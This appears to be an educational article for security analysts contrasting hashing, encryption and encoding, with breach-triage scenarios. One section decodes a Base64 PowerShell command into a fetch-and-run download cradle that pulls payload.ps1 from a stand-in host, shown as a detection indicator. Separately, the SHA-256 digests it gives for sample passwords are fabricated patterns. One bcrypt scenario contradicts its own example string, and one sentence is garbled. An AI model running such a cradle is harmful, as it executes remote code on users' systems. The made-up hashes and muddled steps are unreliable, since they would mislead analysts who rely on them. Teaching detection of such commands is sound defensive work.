Hashing vs Encryption vs Encoding

The Three Concepts — Hashing, Encryption, Encoding

These three concepts are the most commonly confused terms in security. Analysts who use them incorrectly lose credibility with engineering teams and make mistakes in investigations. Each serves a fundamentally different purpose:

The Critical Distinction

Hashing is a one-way mathematical function. You feed in data, you get a fixed-length digest. Given the digest, you cannot recover the original data (except by brute-forcing inputs and comparing). Example: password storage in /etc/shadow.

Encryption is a two-way function with a key. You feed in plaintext + key, you get ciphertext. Given the ciphertext + key, you recover the plaintext. Example: TLS, BitLocker, PGP.

Encoding is a format transformation. Base64, hex, and URL encoding change how data is represented. No secrecy is involved — encoding is not security. Analysts see encoded data (especially Base64) and mistake it for hash values or encrypted data. A Base64 string can be decoded in seconds with echo "cGFzc3dvcmQ=" | base64 -d.

Hashing — One-Way Integrity Verification

How Hashing Works

A hash function takes any input (a file, a password, a message) and produces a fixed-length output called a digest or hash value. The same input always produces the same output. Even a single bit change in the input produces a completely different hash (the avalanche effect).

Input: "password123"
SHA-256: ef92b778bafe771f8920b7f8c6c6a2b4e9f8c7a6b5d4e3f2a1b0c9d8e7f6a5b4

Input: "Password123"  (capital P)
SHA-256: a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6

Common Hash Algorithms — Comparison

Password Hashing — The Right Way

When investigating a credential theft, the first question is: were the passwords properly hashed?

Bad (reversible or trivial):

$ echo "base64" && echo "cGFzc3dvcmQ=" | base64 -d
password

Base64 is not hashing. Scanning a breach dump for Base64 means the site stored passwords in plaintext.

Better but still wrong:

plaintext password → MD5 → 5f4dcc3b5aa765d61d8327deb882cf99

MD5 is fast. An attacker can compute ~10 billion MD5 hashes per second on a modern GPU. A RockYou wordlist cracks MD5 passwords in seconds.

Good:

plaintext password + unique salt + bcrypt → $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy

The $2a$ prefix identifies bcrypt. 10 is the cost factor (2^10 rounds). The salt is embedded in the output. Each password gets a different salt, so precomputed rainbow tables are useless.

Identifying Hash Types in Breach Data

When you see a hash in a breach report, identify the algorithm by format:

Tools like hashid and hash-identifier can automatically detect hash types.

Encryption — Two-Way with a Key

Types of Encryption

Symmetric Encryption — Same key for encryption and decryption.

Asymmetric Encryption — Public/private key pair. Public key encrypts, private key decrypts.

Real-World Encryption Examples

TLS — Transport Layer Security

• Client connects to https://
• Server sends its RSA or ECDSA certificate (signed by a CA)
• Client and server perform key exchange (ECDHE handshake)
• Result: a symmetric AES-256 or ChaCha20 session key shared between client and server
• All data encrypted for the duration of the session

Disk Encryption (BitLocker)

• Writes: data encrypted with AES-128/256 before writing to disk
• Reads: data decrypted from disk into memory
• Key: TPM-protected or recovery key
• Protects against: physical theft of the drive, cold boot attacks (partially), offline OS modification

PGP / Age

• File encrypted with symmetric key, symmetric key encrypted with recipient’s public key
• Only the recipient’s private key can decrypt the symmetric key, which decrypts the file
• Real-world: secure file transfer, encrypted email, Git commit signing

Encoding — Just a Format Change

Encoding is not security. It is a transformation between data formats so that binary data can be transmitted over text-based protocols or displayed safely in various contexts.

Common Encoding Schemes

What Analysts Commonly See

Base64 in logs: PowerShell commands are often Base64-encoded. -EncodedCommand followed by a Base64 string is an immediate escalation indicator.

powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

Decode it:

echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=' | base64 -d | iconv -f UTF-16LE -t UTF-8

Result:

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/payload.ps1')

Hex in memory dumps: Memory forensics tools display strings in hex. A string 65 78 70 6C 6F 72 65 72 in a memory dump decodes to “explorer” — useful for identifying process names.

URL encoding in proxy logs: %68%74%74%70%73%3A%2F%2F decodes to https:// — useful for identifying obfuscated URLs in proxy logs.

Putting It All Together — Analysts’ Quick Reference

Scenario: You Find JDJhJDEwJE5ROW5qOHVMT2lj... in a Data Breach Dump

1. Check format. It starts with $2a$ → bcrypt hash. Good — password was properly hashed.
2. If it starts with cGFzc3dvcmQ= → Base64. Not hashed — the site stored plaintext credentials encoded as Base64. Immediate escalation.
3. If it starts with 5f4dcc3b5aa765d61d8327deb882cf99 (32 hex chars) → MD5 or NTLM. Weak — likely crackable, but at least the site stored a hash.

Scenario: You See an Encrypted Communication Log

1. Protocol: TLS 1.3 with TLS_AES_256_GCM_SHA384 → strong. No payload visibility, but that’s expected.
2. Protocol: TLS 1.0 with TLS_RSA_WITH_RC4_128_SHA → weak. Deprecated cipher suite needs remediation.
3. If you see the plaintext in the log alongside the ciphertext → logging at the wrong layer. The application decrypted before logging.

Related

• Active Directory Basics — covers the active directory basics concepts
• AWS Misconfigurations — detection and response for T1525, T1613 techniques
• Cloud Security Fundamentals — detection and response for T1525 techniques

Sources

• OWASP Password Storage Cheat Sheet
• NIST SP 800-57 Key Management
• Hashcat Wiki
• OWASP Cryptographic Storage Cheat Sheet
• Password Hashing Competition — Argon2